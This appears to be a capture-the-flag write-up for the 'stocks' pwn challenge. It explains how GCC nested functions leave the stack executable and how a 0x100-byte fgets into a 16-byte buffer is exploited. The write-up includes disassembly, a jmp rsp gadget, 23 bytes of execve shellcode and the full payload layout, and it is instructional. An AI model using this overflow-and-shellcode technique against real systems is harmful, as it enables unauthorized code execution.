brunner-stocks

Event
BrunnerCTF 2026
Category
pwn
Published
Tags
#shellcode #stack-execution #buffer-overflow

The stack is executable and a gadget has been left in place, so the overflow in askf turns straight into shellcode execution rather than needing a ROP chain.

pwn5 min read

On this page
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       disabled  (GNU_STACK is RWX)
PIE:      No PIE    (base 0x400000)

stocks is a toy portfolio picker. It reads three floats, one AI-preference yes/no, then simulates ten rounds. Two facts about the binary do all the work: askf() calls fgets(buf, 0x100, stdin) into char buf[0x10], and the executable runs on an RWX stack because main uses GCC nested functions. That lets us write 23 bytes of x86-64 shellcode directly to the stack.


1. Why the stack is executable

stocks.c defines both Algorithm implementations as nested functions inside main, then takes their address:

if (ai) {
    bool ai_alg(Stock s) { puts("AI alg"); return s.ai_company; }
    algorithm = ai_alg;
} else {
    bool real_alg(Stock s) { ... }
    algorithm = real_alg;
}

GCC implements a pointer to a nested function by emitting a small trampoline that fixes up the enclosing frame pointer and jumps to the real body. Trampolines are written onto the stack at runtime and then executed, so the object file emitted by GCC either drops its .note.GNU-stack marker or sets it executable. The linker propagates that to the output ELF, and PT_GNU_STACK ends up marked RWX instead of the usual RW. Parsing the program headers shows exactly that:

GNU_STACK   vaddr=0x0   flags=RWX

No canary either (__stack_chk_fail is absent from the symbol table), and the ELF is a plain ET_EXEC at base 0x400000. That is the whole reason plain shellcode is the intended solution here rather than a ROP chain into libc.

2. The bug in askf

float askf(char *prompt) {
    printf("%s (0.0-100.0): ", prompt);
    char buf[0x10];
    fgets(buf, 0x100, stdin);       // 0x100 into a 0x10 buffer
    return atof(buf);
}

The disassembly makes the mismatch explicit:

4011cf:  lea  -0x10(%rbp), %rax    ; buf, 16 bytes
4011d3:  mov  $0x100, %esi         ; size = 256
4011d8:  mov  %rax, %rdi
4011db:  call fgets@plt
4011e0:  lea  -0x10(%rbp), %rax
4011e4:  mov  %rax, %rdi
4011e7:  call atof@plt
4011ec:  cvtsd2ss %xmm0, %xmm0
4011f0:  leave
4011f1:  retq

buf sits at rbp-0x10. Sixteen bytes of buffer plus the eight-byte saved rbp places the saved return address at offset 24. atof still runs on the overflowed buffer, but its return value does not matter: we hijack the ret and never return to main.

3. The planted gadget

The source file ends with:

void gadget() {
    __asm__("jmp %rsp; ret;");
}

Which compiles to:

0000000000401593 <gadget>:
  401593: 55                push %rbp
  401594: 48 89 e5          mov  %rsp, %rbp
  401597: ff e4             jmp  *%rsp
  401599: c3                retq

The function’s prologue is not useful, since push %rbp would shift the stack under our shellcode. The exploit returns straight to 0x401597, the jmp *%rsp byte pair itself.

When askf’s ret fires, it pops the saved return address (our 0x401597) and transfers control there. At that moment rsp already points to the qword sitting immediately after the return address on the stack, which is where the payload places the shellcode. The jmp rsp then executes it in place. No leak, no ROP, no libc.

4. Shellcode

The bytes going into buf must survive fgets (which stops at \n) and the container’s socat tcp-l:1337,...,fork exec:/app/stocks,pty,echo=0,raw,iexten=0 transport. That rules out 0x0a, and 0x0d is worth avoiding too because of the pty’s CR handling. NUL is fine: fgets copies embedded NULs straight through, and the payload proves it, since p64(0x401597) contributes five of them immediately before the shellcode. The stub avoids NUL anyway out of habit. The 23-byte stub from exploit.py:

4831f6                    xor    rsi, rsi
56                        push   rsi                ; NUL terminator for the string
48bf 2f62696e2f2f7368     movabs rdi, "/bin//sh"
57                        push   rdi
54                        push   rsp
5f                        pop    rdi                ; rdi -> "/bin//sh" on stack
6a3b                      push   0x3b
58                        pop    rax                ; rax = SYS_execve
99                        cdq                       ; rdx = 0
0f05                      syscall

"/bin//sh" is used instead of "/bin/sh\0" to keep the immediate NUL-free, which is hygiene rather than necessity here. argv is NULL because xor rsi, rsi already zeroed rsi, and envp is NULL because cdq clears rdx. The one-byte push/pop pairs keep the whole stub clear of 0x0a and 0x0d.

5. Payload

JMP_RSP = 0x401597
OFFSET  = 24                       # 0x10 buf + 8 saved rbp

payload = b'A' * OFFSET + p64(JMP_RSP) + shellcode

Only the very first askf prompt is used. Once execve succeeds, the loop, AI-branch selection, and profit report never run.

Stack layout just before askf’s ret executes:

offset from rspcontents
+00x401597 (the jmp rsp byte pair)
+84831f6 56 48bf 2f62 ... (23-byte shellcode)

ret pops the qword at +0, rsp advances to +8, jmp rsp transfers control there.

6. Running it

$ python3 exploit.py brunner-stocks-39ba374fc090f670-global.challs.brunnerne.xyz:1337
[+] Opening connection to brunner-stocks-39ba374fc090f670-global.challs.brunnerne.xyz on port 1337: Done
[+] shell
[*] Switching to interactive mode
brunner{shellcoding_for_the_win}

The live instances sit behind TLS, so exploit.py connects with ssl=True. Plain nc against that host and port gets nothing.

7. Takeaways

  • An executable stack marker is worth checking on every binary. Nested C functions are the classic way a modern toolchain quietly produces one, even when the source uses none of the obvious pwn foot-guns.
  • When the author leaves a jmp rsp in the binary and there is no NX and no canary, the shortest exploit is the intended one. No libc leak is needed.
  • The only genuinely forbidden byte is 0x0a, from fgets; 0x0d is avoided defensively because of the raw pty. Both come from the transport, not the CPU or the syscall ABI. NUL is harmless here, which the five NUL bytes inside p64(0x401597) demonstrate. Check the bad-byte list against the payload that actually works rather than assuming the usual suspects.
  • Once ret lands on a jmp rsp, whatever sits immediately after the saved RIP is code. The payload is simply padding + &jmp_rsp + shellcode.